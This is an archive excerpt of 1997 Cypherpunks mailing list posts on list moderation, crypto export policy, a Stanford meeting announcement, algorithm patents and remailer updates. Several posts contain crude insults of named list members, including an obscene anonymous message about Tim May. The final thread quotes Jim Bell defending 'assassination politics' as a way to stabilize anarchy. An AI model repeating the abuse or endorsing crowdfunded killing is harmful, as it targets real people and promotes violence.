> >> made the mistake of letting them know that I was dirt poor and would need
> >> full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the
> >> Russian front!""
> >> 
> >> My guess is that "other factors" were involved. 
> >> 
> >> I noted with some interest, but little surprise, that the guy claiming MIT
> >> required a 4.0 GPA and a 1600 combined SAT score could barely spell, and
> >> had major problems making a coherent point. Methinks this is why MIT
> >> rejected him, not his lack of a "1600."
> >> 
> >> ">For what it's worth, I wanted to go to MIT my sophomore year in high
> >> >school, too
> >> 
> >> "Lucky you.  It had been a dream of mine since I was an annoying
> >> overachiever of 6.  Sux to be white trash, I guess."
> >> 
> >> MIT offered me a substantial economic aid package, in the form of loans,
> >> grants, and various campus jobs. What does this tell you?
> >> 
> >> "MIT may be a great school, but they tend to be snooty assholes for the mo
> >> part.  (DISCLAIMER: Not all MIT grads/attendees are necessarily "snooty
> >> assholes", I'm just saying that I've yet to meet one that wasn't.)
> >> 
> >> I've known about a dozen or so MIT grads, and only one of them was a snoot
> >> asshole, and it was a _she_, one of the first MIT women grads (and she was
> >> _very_ impressed by this). 
> >> 
> >> Most MIT grads are perfectly reasonable.
> >> 
> >> Xanthar
> >> 
> >> 
> >> 
> >> 
> >> --
> >> 
> >
> >
> >
> Jim Bell
> jimbell@pacifier.com
> 

This thread has no crypto-relevance, but Sandy the Asshole forwards it to the
censored list.  He also sends crypto-relevant threads to the flames list.
This will be the first post in this thread that Sandy the Asshole will junk.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Wed, 5 Feb 1997 10:43:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Deloitte-Touche?
In-Reply-To: <9702051741.AA04467@sabel.idacom.hp.com>
Message-ID: <v03101402af1e7d60efa1@[207.67.246.99]>
MIME-Version: 1.0
Content-Type: text/plain


Several people wrote:
>I wrote:
>>ObCrypto policy:
>>        Was anyone else besides me amazed by the guy
>>from Deloitte-Touche at the Internet Privacy Coalition luncheon
>>last week? I mean, he all but advocated violent overthrow of
>>the government. [...]
>
>For the benefit of those of us who were not at this luncheon (probably
>not even in the same country), could you please say more about this,
>Marshall?  What was the subject?  What _did_ the DT speaker say, exactly?
>
After a while, I stopped taking notes, because I was so astounded at
what he was saying.
(Maybe someone with more complete notes could post a better summary)

But, here a brief overview of the luncheon:

Last Wednesday, January 29th, the Internet Privacy Coalition had
a "policy lunch" in San Francisco. It was in one of the hotels hosting
the RSA conference, and at the same time that the conference was
breaking for lunch, so it was easy for attendees to "switch lunches".

The speakers (as I remember, apologies to any I miss) were:
	Whit Diffie
	John Gilmore
	Kenneth Bass (counsel in Karn vs. Dept of State)
	Herb Lin (who ran the NRC staff for the crypto study)
	Marc Rotenberg
	William Hugh Murray (Deloitte & Touche)
	and a couple others that I missed, as I left early.

Mr. Murray gave a long, impassioned speech.

He said that the government is going to crack down on
domestic possession and use of crypto, that they
were looking to increase their wiretapping capabilities
100-fold, and so on.

He was very emphatic about not trusting anything
that the government says, and that once they got
their "foot in the door", that they would seek to
expand their abilities to regulate, etc, etc.

He advocated deployment of strong crypto. He
insisted that there was no way the government
could stop the export of strong crypto. He exhorted
people to refuse to obey the ITAR/EAR regulations,
and to lobby their congresscritters to get the
PRO-CODE bill passed.


It wasn't really what he said that amazed me, because
I had heard most of it (in bits and pieces) before. It
was presenting it all in a package, in an emotional
manner, by an elderly, conseratively dressed
accountant who was representing a large
corporation whose job it is to help people obey the
government.

[ My father was an accountant. He worked for
Deloitte-Touche, in fact. I don't expect accountants
to be passionate about government regs, and
especially not to advocate disobediance. Maybe
that's why this affected me so strongly. ]

-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

Warning: Objects in calendar are closer than they appear.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 5 Feb 1997 08:05:06 -0800 (PST)
To: Matts Kallioniemi <cypherpunks@toad.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <199702051526.HAA28754@toad.com>
Message-ID: <v03007840af1e5fa67e5b@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:20 am -0500 2/5/97, Matts Kallioniemi wrote:
>Another way to get rid of the totally clueless and involuntary subscribers
>would be to require subscription requests to be PGP signed and acknowledged
>by the subscriber.

Now, this sounds familiar...

Everyone remember Eric's attempt to force signed messages?

Herding cats, indeed.

Cheers,
Bob

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Rogaski <wendigo@pobox.com>
Date: Wed, 5 Feb 1997 09:21:37 -0800 (PST)
To: das@sgi.com (Anil Das)
Subject: Re: AltaVista Tunnel
In-Reply-To: <199702051525.HAA28716@toad.com>
Message-ID: <199702051726.MAA12769@deathstar.jabberwock.org>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

An entity claiming to be Anil Das wrote:
: 
: Rick Osborne wrote:
: > 
: > He triumphantly exclaimed that the encryption was 128-bit, but when
: > I said "128-bit what?" he cowered and muttered that he didn't know and went
: > on with his little speech.  The rest of my crypto-specific questions met
: > with equal dark stares.  And these are the people setting industry standards...
: 
: I should be happy that you are bashing a competitor and all, but give
: them a break, OK? The marketing dweeb who has to do product pitches
: on roadshows is not the same as the design engineer who designs the
: system and sets technical standards. There can be a big difference in
: technical knowledge about the product, and even basic competency,
: between the two.
: 

If the marketing-droid didn't have the ability to answer such a basic
question, DEC should have just sent out videotape promos.  I don't
understand why they went through the expense of sending warm bodies
out on a roadshow without giving them enough specification about
the product to give an effective presentation to a predominantly
tech-oriented audience.  From whom did they expect the questions to
come?  A competent marketing professional would AT LEAST know what
standards/protocols the product supported, does a car company send
its sales force out without knowing if the cars use gas or diesel?

Another example of how the Macro$loth mindset of tossing out random
buzzwords to a chorus of ooooh's and ahhhh's has polluted the 
industry.  

In Rick's case, DEC's image was deflated.  OK, so how many other
people present got the same impression.  And it's very likely that
one of those people is a decision maker, or the anecdote got back
to one of the decision makers.  So, due to DEC's failure to ensure
that their sales force new the product, they can probably scratch 
Grumman off of their potential client list.

Mark


- -- 
[]  Mark Rogaski                    || "Computers save time like kudzu    [] 
[]  wendigo@pobox.com               ||  prevents soil erosion."           [] 
[]  http://www.pobox.com/~wendigo/  ||           - afcasta@texas.net      []
[]  >> finger for PGP pubkey <<     ||                                    []

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBMvjCjBz4pZwIaHjdAQEziAf/WXyN1MHZd5E77RIGwQIk37gcTKAnDATS
gKpKW/MWENV5qF7sEdJ/5BEE5KpJUsUvG9+/9ZfmjwLJbaiIAiIKBkLto5oBCwFi
0uR7RFqDCtIIsVzDb+L6gzAKJ98WDTHeaQO7uy3NDo6WkuGdIDtcxe5mzuLmekjE
wlnNy3PCmU6LYZivuW4L8IAXQ+Fd263DX4WaR2FbRGXmdH6/QCJHp7kerjuppNtD
rCaUh1yFoxmzzZp2QLgYhZRGDNzw7SKPCcmMBcPk2873f+U9kdEWrz0LzSQwSlRN
zZGXZMfsuF6PrLckRS8fGO00/ZVuh4byiqGffSP++zwEE6GDcFHR4A==
=Caug
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 5 Feb 1997 12:42:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Are cypher punks capable?
Message-ID: <199702052042.MAA04287@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:57 PM 2/4/97 -0000, Secret Squirrel wrote:
>Against Moderation wrote:
>> In general, unsubscribing and resubscribing to a mailing list is not
>> completely trivial.
>
>Do you think that a cypher punk is not able to solve these problems?
>
I just unsubscribed to cypherpunks, simoutaneously (excuse the spelling)
subscribing to the cypherpunks-unfiltered (and low tar) list.  One problem I
have is in transit, how many messages did I loose?  Since the moderated list
is delayed by however long it takes for Mr. Sandforth to read the messages,
I lost at least as many messages as he pulled in last minus the number of
messages that he had already sent out.  I thought about subscribing for
about four hours to both lists, but I have enough trouble with my account
hitting its maximum kB limit.  I don't have any filters, scripts, or other,
and yet I still had a problem, (one which I finally ignored).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hugh Daniel <hugh@west.toad.com>
Date: Wed, 5 Feb 1997 13:23:47 -0800 (PST)
To: cypherpunks-announce@toad.com
Subject: ANNOUNCEMNT: February 1997 Cypherpunks Bay Area Meeting
Message-ID: <199702052103.NAA13723@west.toad.com>
MIME-Version: 1.0
Content-Type: text/plain



What:   San Francisco Bay Area Cypherpunks monthly physical meeting
When:   Saturday February 8th, 1997
Where:  Turning Auditorium, Stanford University, Stanford California

Agenda: 11:++	setup, gossip, face feeding etc.
	12:00	USG Export 'Laws' of the week, Roz Thomsen, PGP inc.
	13:00	PGPmail & PGPdisk overview, Dave Del Torto, PGP inc.
	14:00	Break
	14:30   Announcements, late breaking news, etc.
	15:00	The 3 hour 40bit challenge, Ian Goldberg, UCBstudent
	16:00   Why bother killing the list?, Hugh Daniel
		Future Meeting Planing, IPSEC Update, etc.
	17:00	This hour left bank for future expansion...

Dinner:
	18:30	Dinner at Thai City, 3691 El Camino Real, PA

	(All times are approximate and likely to be totaly ignored...)

Directions:
	  Turning Auditorium is in Polya Hall, Jordan Quad, Stanford
	University, Stanford, Santa Clara County, California, USA.
	  A (bit)map to the part of the Stanford Campus where the
	meeting will be held is at:

	http://www-facilities.stanford.edu/transportation/PGrid4.html

General directions:

- From Hwy 101, take the Embarcadero exit all the way to campus. Turn right
(clockwise) on Campus Drive. Turn left into the Jordan Quad parking lot. 

- From Hwy 280, take Sand Hill. Turn right on Junipero Serra, then left
(counterclockwise) onto Campus Drive. Turn right into the Jordan Quad
parking lot.

Host:  Many thanks to Richard Graves <llurch@stanford.edu> and to
	Stanford University for providing the space for this months
	meeting.

Notes:	  We will have a small NHK (Nipon(Japan)) film crew at much of
	this meeting, they are doing a documentary and are interested
	in how this (main) branch cypherpunks works (or does not work
	as the case may be...).
	  We have a wonderful space to do demos in this month, Turing
	Auditorium has Internet, projections screens, audio amps and
	a Clone-PC and a Macintosh to demo software, web sites etc.
	  If you have something Cypherpunkish to demo, this is the
	month to do so!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lwjohnson@grill.sk.ca (Larry Johnson)
Date: Wed, 5 Feb 1997 11:10:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: I'm Just A Kid (But If I Was A Secret Goverhnment Guy...)
In-Reply-To: <3.0.1.32.19970204031255.006f0b58@mail.io.com>
Message-ID: <32F8F6CD.1D41@grill.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain


I would:>

Make regular government guys pass all kinds of laws and stuff to keep
regular people from having what they need to be talking to each other 
in secret where I couldnt listen. (Cause Im the Secret Guy--not them!)

Sic lawyers and persecutors on a guy if he made some secret-keeping
stuff that worked and let everyone have it if they wanted it.

Make my own secret software stuff using guys who want to make a lot
of money and will do what I want if I make it so they will.
Make businesses lose money unless they used my own secret software
stuff cause they couldnt sell it everywhere unless they did what
I said.

Make a secret guy coup on troublemakers and take over their stuff
so I could use it just for other secret guys and business guys
to tell everyone to use just my own secret-keeping software stuff.

I would make a secret guy coup on a mailing list if it was causing
trouble for me. I wouldnt do it until I had my own secret stuff 
ready to give to everyone though. And I would have my other secret
guys already on the list waiting for me to tell them what to do.
I would cause a lot of trouble on the list and use it to get rid of
the troublemaker guys and make everyone think that I am a good guy
saving them from bad guys wearing black hats and shooting at them
with penis-pictures.
I would let another guy be a dumb guy and do all the bad things
for me on the list so everyone would be mad at him and not at me.

I would let my secret smart guys on the list tell everyone that
the dumb guy wasnt doing dumb and bad things. I would make them
say things that sound real smart but dont really mean anything
except in the direction they are pointing their fingers to make
people look.

I would have my secret guys all saying underneath the conscious
stuff together so that everyone would start believing things that
I want them to believe.

{My uncle just got back from his trip so he is going to help me
with the rest (just the spelling and stuff though) and then he is
going to kill me for making his secret machine call him a _lamer_
when he boots it up}

<::>I want everyone to believe<::>

:>I had to save the list cause it was sick.
My secret guys talk about "the PATHOLOGY of the list"

:>Dictatorship will save them from the chaos of anarchy.
My secret guys talk about the "TRAGEDY of the COMMONS"

:>It is not me but other guys who are trying to steal the list.
My secret guys say "PRIVATE ACTORS..EXTRACT..REPUTATION CAPITAL."

:>Its ok to throw doo-doo on the only original list guy who wont
:>kiss secret guy/big business ass by connecting him in peoples
:>heads with the guy everyone knows is a bad guy (because he uses
:>bad words.
My secret guys say "DMITRI VULIS' BEHAVIOR...SEEKS TO PUNISH THE
LIST for failing to PUNISH or OSTRACIZE TIM MAY..TIM MAY WAS
DISRESPECTFUL" <--"PRIVATE GAIN (PUBLIC RETRIBUTION)"-->OSTRACIZE
TIM MAY...TIM MAY WAS DISRESPECTFUL...PUNISH TIM MAY(PUBLIC 
RETRIBUTION)..."ATTEMPT TO ACHIEVE PRIVATE GAIN...AT THE EXPENSE 
OF...QUALITY AND GOOD NAME OF THE LIST"...OSTRACIZE TIM MAY...DIMITRI
VULIS' BEHAVIOR...TIM MAY IS DISRESPECTFUL...DIMITRI VULIS..TIM MAY

:>Only a few riff-raff are misrepresenting Dictatorship.
My secret guys say "Several..." (the few that escaped the censors
jackboot) "AUTHORS..." (people who only make stuff up in writing) 
"CHARACTERIZED JOHN GILMORE AND SANDY SANDFORT's..." ('made up' the
bad character of) "with RESPECT to MODERATION"...RESPECT MODERATION
...RESPECT MODERATION...RESPECT MODERATION

:>I am not a Dictator who is stealing the list.
My secret guys use nice polite words to describe what people 
really called dictatorship and stealing. 
"MONOPOLIZE" instead of DICTATORSHIP 
"APPROPRIATE" instead of STEAL.

:>Freedom and gain should be associated with private ownership.
My secret guys would put words in the mouths of "FREE-market"
guys (standing by an American flag with their hands over their
hearts singing the national anthem) and make them say that the
"SOLUTION TO "TRAGEDY...IS PRIVATE OWNERSHIP...MAXIMIZE LONG-TERM
GAIN...CAREFUL MANAGEMENT"

:>If there is no list Fuhrer to say how things will always be done
then the email won't run on time.
My secret guys say "WASTEFUL...HARMFUL SHORT-TERM STRATEGIES..."
are what everyone is going to get without a having a Dictator
and "PRIVATE OWNERSHIP...ELIMINATE...WASTEFUL...NONOPTIMAL USE OF
RESOURCES" and "WORK towards...PRIVATE OWNERSHIP"..."ANARCHIC 
COMMUNITY AT ODDS WITH...GOOD USE OF RESOURCES"...WORK-->PRIVATE
OWNERSHIP...ANARCHIC-->WASTEFUL...PRIVATE OWNERSHIP-->SOLUTION TO
TRAGEDY...ANARCHIC-->HARMFUL<->TIM MAY<->DIMITRI VULIS<->HARMFUL
ANARCHIC...PRIVATE OWNERSHIP-->HISTORICAL...OSCTRACIZE TIM MAY
TIM WAS DISRESPECTFUL...ANARCHIC HARMFUL...OSTRACIZE TIM MAY
WORK=PRIVATE OWNERSHIP...WORK=PRIVATE OWNERSHIP
ANARCHIC HARMFUL...OSTRACIZE TIM MAY...ANARCHIC...DISRESPECTFUL
DIMITRI VULIS=TIM MAY...DIMITRI VULIS=TIM MAY=DIMITRI VULIS
OSTRACIZE TIM VULIS...


If I was a secret government guy I would make a cypherpunks home
page and fix it so that anyone who used the "legendary and massive
directory of global Internet resources" (a fancy name for a bunch
of Yahoos) to search for cypherpunks would only find my home page 
and the home pages of two crazy guys.
My home page wouldnt have any links to other peoples cypherpunks
mail list stuff but only the one my secret guys were taking over.
I would hope nobody would notice that almost everyone in the world 
who searches for the cypherpunks would only find the mailing list 
that is censored by my guy and my autobot.
I would hope that nobody would notice that the guy saying hes 
checking to see if secret government guys are messing with the
cypherpunks is one of my guys.


Of course Im just a kid and not a secret government guy so I cant
do all this stuff. Good thing for you guys, huh?
(But you guys should watch out for messages that start with saying,
"You are getting sleepy...you are getting very very sleepy...)

Anyway my uncle is kicking me off of cypherpunks so he can clean up
my mess in my dads email before he gets home. And then hes going
to kill me (but only after I help him find the silver key on the
second level of Duke Nukem3D--hes a gamer-lamer).

You guys might think Im a lamer myself but I got my Sandy flame on
the censored list (on my very first message) using kindegarten 
cryptography and you didnt so maybe you could learn something
from a kid, huh?
My uncle says he doesnt think kids (or anybody else) should have
what they say thrown in the flames-crapper just because someone
doesnt like what they say.
He used to go behind the Iron Curtain so people could hear what
other people didnt want them to hear and now he goes behind the
ElectroMagnetic Curtain instead and he says he wont let any 
lamers shut me up just because their ashamed of what their doing
and dont want anyone to know about it.
He helped me with some of this but only to not sound like a 
real lamer (just a bit of a lamer) but not with what I think
about the cypherpunks. I learned how to read with the Froggie
manual and cypherpunks messages and government stuff and stuff
by my dead uncle who is dead because of what he wrote about
the guys who started the internet in the first place. (Their not
good guys.)

I like you guys. 
Dont bend over for the lamers.
Dont start to cry.
Just keep on being flamers.
   Bitch and shout.
   Dont worry about the schisms.
   And dont let the Fascists take
   Your algorithms.
Lamers come and go
So dont worry bout their junk
Anarchists have <Delete> keys
They're Immortal CypherPunks.

I have to go get killed now.

Human Gus-Peter
grandson of gomez





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Wed, 5 Feb 1997 13:18:57 -0800 (PST)
To: gbroiles@netbox.com
Subject: Re: what's in a name?
Message-ID: <199702052118.NAA26907@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles <gbroiles@netbox.com> writes:
> Wei Dai's message raises an important question: what is the relationship
> between ownership and list content or quality? 

I'll assert that ownership can only have a negative impact on
content. Freedom is preferable to bias, and hence loss of freedom
can only hurt content...according to -my- standard of content anyway.

> Are mailing lists an example of a situation where "the tragedy of the
> commons" is not a useful metaphor? 

Yes. Such analogies assume that common people create tragedy, which 
is only true if their leaders have designed things to work that way.

> Is the desire for an anarchic community at odds with a desire for
> good use of resources?

The network resources are there to handle email traffic. Attempting
to place a non-technical content-based standard on the usage of
resources invites censorship and leads to stagnation of ideas.

If people would simply learn to filter what they don't like from their
net.viewport, there would not be a perceived problem.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

Nasrudin arrived at an all-comers horse race mounted on the slowest of oxen.
Everyone laughed, an ox cannot run. 
"But I have seen it, when it was only a calf, running faster than a horse.",
said Nasrudin. "So why should it not run faster, now that it is larger?"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Wed, 5 Feb 1997 10:39:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702051820.NAA02283@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


May Timmy May's forgeries get stuck up his ass so he'll have to shit 
through his filthy mouth for the rest of its miserable life.

       |||||||||||
        \~0/ \0~/
        <  (0)  >
   --oOO--/|||\--OOo- Timmy May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Wed, 5 Feb 1997 10:51:14 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Silly Americans
In-Reply-To: <199702051527.HAA28821@toad.com>
Message-ID: <3.0.1.32.19970205134808.00918680@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


>At 09:37 PM 2/4/97 -0500, Rick Osborne wrote:
>>a philosophical note, why *do* we allow the government to regulate
>>algorithms?  (Implementations, I can understand, but *algorithms*?)

At 03:33 AM 2/5/97 -0800, Bill Stewart wrote:
>Because they're bigger than we are and better-armed?
Okay, I can accept that ...

>Because there's lots of money to be made by people patenting things?
This i have a little more trouble with ... Sure *one* company can make alot
of money, but *one* company making money doesn't stimulate the economy.

>Because big companies can use it to interfere with competition?
Once again, this is non- and even counter-productive.  Pure competition is
great, but if only one company has a product, there is *no* competition.

>Because it's good for the economy because it encourages inventors
>of algorithms to publish them and make money by doing so?
No: many companies using the same algorithm with different implementations
is good for the economy.

It's like this: say that way back when the first electronic spreadsheet was
produced, someone patented it.  It then evolved into Excel.  Now, no one
else can do any kind of electronic spreadsheet, because Microsoft has the
rights.  There is no competetion and anyone who wants to use an electronic
spreadsheet has to use Excel.  This would be great for Microsoft, but
horrible for everyone else.  Lotus 1-2-3 would have never existed, etc,
etc, etc.

The constant chatter about the expiration of the Diffie patent proves my
point: if everyone was satisfied with what there was, then no one would be
gearing up to produce their own products.

Competition is a *good* thing.  You can't evolve without it ...
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
Once a Junior Programmer interrupted a Great Guru of the Sun to ask a
Question of no importance. The Great Guru replied in words which the
Junior Programmer did not understand. The Junior Programmer sought to
rephrase the Question, saying, "Stop me if I appear stupid." The great
Guru, without speaking, reached over and pressed L1-A. The Junior
Programmer achieved Enlightenment.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Wed, 5 Feb 1997 10:53:37 -0800 (PST)
To: Anil Das <cypherpunks@toad.com
Subject: Re: AltaVista Tunnel
In-Reply-To: <199702051525.HAA28716@toad.com>
Message-ID: <3.0.1.32.19970205135222.00918260@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:48 AM 2/5/97 -0800, Anil Das wrote:
>I should be happy that you are bashing a competitor and all, but give
>them a break, OK? The marketing dweeb who has to do product pitches
>on roadshows is not the same as the design engineer who designs the
>system and sets technical standards. There can be a big difference in
>technical knowledge about the product, and even basic competency,
>between the two.

Oh, I understand that.  But I do expect at least a *tiny* bit of knowledge
on the product by said marketers.  I mean,  the entire base of PPTP is
crypto.  It's like trying to explain a word processor without knowing what
a paragraph is.  When I went to the networks guys, they answered every one
of my questions about the routers, packet sniffing, etc. without
hesitation.  The nice lady with the .5TB RAID array was just as competent.
The only person in that entire truck that couldn't answer my questions was
this one guy.  It just goes back to the old thread of "why don't people
know about crypto?"
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
If it's broke, send it back.  If it works, take it apart and find out
why.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ed.Falk@Eng.Sun.COM (Ed Falk)
Date: Wed, 5 Feb 1997 14:17:39 -0800 (PST)
To: cypherpunks-announce@toad.com
Subject: Re: ANNOUNCEMNT: February 1997 Cypherpunks Bay Area Meeting
Message-ID: <199702052216.OAA29244@peregrine.eng.sun.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


Hi all; if anybody's interested in having a PGP key-signing party
at this event, I'd be willing to organize one.

If interested, send me your key (or a pointer to where I can download
it), and let me know what times are good for you for the party.

	-ed falk
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQBVAwUBMvkGtzLd6HIbO1jdAQGZFQH9GNbQCwSS09YuPrC9jg43A9NiusV18sdM
66MKMVxIYYi2EstThJVWN8NLYCIGCgOiJnnIJ4ZgkbnAwY9zmZviVw==
=4etp
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Matts Kallioniemi <matts@cyberpass.net>
Date: Wed, 5 Feb 1997 05:53:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <199702050742.XAA18657@toad.com>
Message-ID: <3.0.1.32.19970205142023.00922350@localhost>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Jeremiah A Blatz wrote:
>On the choke points note, mailing lists are better than usenet because
>legendary AOLers with there 5 free hours of fame and their ilk usually
>don't figure out how to pester mailing lists. Being on a mailing list
>usually requires a commitment, that is enough of a barrier for many of
>the usenet underirables.

Another way to get rid of the totally clueless and involuntary subscribers
would be to require subscription requests to be PGP signed and acknowledged
by the subscriber.

Matts

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMviI5xVFhWUyiUQRAQFdEwf/ZI2WW/2OVKq4xdwmsPNzCP3yJj7NfsOP
JSBegY21WX/Oa+gT/Zmo5lrOh9wWQlF2OpFlzggvBef1Vm5qidge5dRqSxmUPipc
5/HZFK1KxQI5uLjC7pZo5pMfjIroPYI4pldfYP2fjn3qo82sg8IWEn1FSH3b5iEE
qrL71rWmG3ekx7qDMvZPGKrjwi7XNJlKUT7qIjQaR25sg3U4KsntV5FZ+Iof6FRz
cFX0G2bQ5r1tE/QIqrMm94cD27KNFshSArBFgTqNqqCJtym2v+oOtiCpm8uqirlB
oREDHaIs7pJyUA3VkdQnVwKbN+c/Ln9nBAZ9V0BGBg4rZMp/rDRo+Q==
=YOIl
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John A. Perry" <perry@alpha.jpunix.com>
Date: Wed, 5 Feb 1997 12:26:10 -0800 (PST)
To: Remailer Operators <cypherpunks@toad.com>
Subject: New type2.list/pubring.mix
Message-ID: <Pine.NEB.3.93.970205141959.23163B-100000@alpha>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hello Everyone,

	I've just updated the type2.list/pubring.mix combination on
jpunix.com to reflect the retirement of rebma. The files are available by
anonymous FTP from ftp.jpunix.com as well as by WWW from www.jpunix.com.

	Additionally, the files are now available by IRC (EFnet) by
accessing the rops bot on #remailop. Just send a /msg rops hello so rops
will recognize you. You can then do a /dcc chat rops, go to the file area
and then do a /dcc get. 

 John Perry KG5RG perry@alpha.jpunix.com PGP-encrypted e-mail welcome!
 Amateur Radio Address: kg5rg@kg5rg.ampr.org
 WWW - http://www.jpunix.com
 PGP 2.62 key for perry@jpunix.com is on the keyservers.


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMvjs0lOTpEThrthvAQHrnQP8CRmcUbp5fndiFyfTdDXmmMYNHj7wteBG
8S9kw1J9TnDpjaXI5fy+OXzX7UthDjO5HznmBjx/iv4ozZ6d5SnNiKFyRGSok3lB
+o6EovbYtp1fUZ7JzDF/0fqCn5vs/v5LetIDYSNrAjz6utiFk0/Lfh9VQyu/FlJq
+R4+H/UC+bw=
=qlqM
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John A. Perry" <perry@alpha.jpunix.com>
Date: Wed, 5 Feb 1997 12:32:04 -0800 (PST)
To: Mixmaster Mailing List <raph@alpha.jpunix.com
Subject: Sorry!!
Message-ID: <Pine.NEB.3.93.970205143026.23163C-100000@alpha>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I apologize for 3 copies of the same message. I was having some problems
with premail. I'll try not to let it happen again.

 John Perry KG5RG perry@alpha.jpunix.com PGP-encrypted e-mail welcome!
 Amateur Radio Address: kg5rg@kg5rg.ampr.org
 WWW - http://www.jpunix.com
 PGP 2.62 key for perry@jpunix.com is on the keyservers.


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMvjuN1OTpEThrthvAQHZmgQAkp1pN5S/NV/8Bg17kiQXKBM59y+bmMEx
XkkEPQlVYCPrE6z+t+QRx93DQS3HVwAE8x5tvP9fkvnWGJxuyMMkBeJv+ru2kDUg
dDxo8+C+TsQ6jQ+B7OQWg4EcaC9vpQNPYQLEYpI5UjgXrpYLtilcfeGzvYqSDXmN
8+xvb184UfE=
=sSG7
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 5 Feb 1997 08:12:00 -0800 (PST)
To: jim bell <cypherpunks@toad.com>
Subject: Re: John's: In anarchy -everyone responsible
In-Reply-To: <199702050744.XAA24946@mail.pacifier.com>
Message-ID: <199702051611.JAA25482@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970204:2343 jim bell <jimbell@pacifier.com> said:

+At 09:05 PM 2/4/97 +0000, Attila T. Hun wrote:

+>        In a "popular" anarchy, Jim Bell's assassination politics make
+>    perfectly good sense; but, a "popular" anarchy is not an _anarchy_.

+I guess I don't understand the distinction you are trying to make,
+between a  "popular anarchy" and an "anarchy."    Maybe you were trying
+to distinguish  between "dictatorship of the few (or one)" and
+"dictatorship of the many (perhaps a  majority)" but it didn't come out
+very understandably.

+Put simply, "anarchy is not the lack of order.  It is the lack of
+_orders_."

    disagree. pure anarchy is not the lack of "orders" --pure anarchy 
    implies that everyone is imbued with that perfect sense of 
    responsibility.

+>        anarchy is only possible in an ideal world where _everyone_ 
+>    assumes not only responsibility for themselves, but for the common 
+>    good.  no malice, no greed, no need for assassination politics....

+No, that's traditional thinking and that's wrong.  See AP part 8. 
+Freud  believed (as "everyone" else believed, even myself, before AP)
+that anarchy  was inherently unstable.  But it ISN'T, if the tools of
+AP are used to  stabilize it.  And no, no altruism is necessary for AP
+to work as well; no  individuals are being asked to sacrifice
+themselves for the common good.    Rather, they are given the
+opportunity to work to achieve a reward offered,  cumulatively, by a
+number of citizens.

    aah, but that is the difference between a _pure_ anarchy and a  
    _popular_ anarchy.  A pure _anarchy_ is sufficiently idealistic in 
    that _noone_ lacks the necessary resonsibility to keep society 
    moving, each individual in their own niche.  As long as there is 
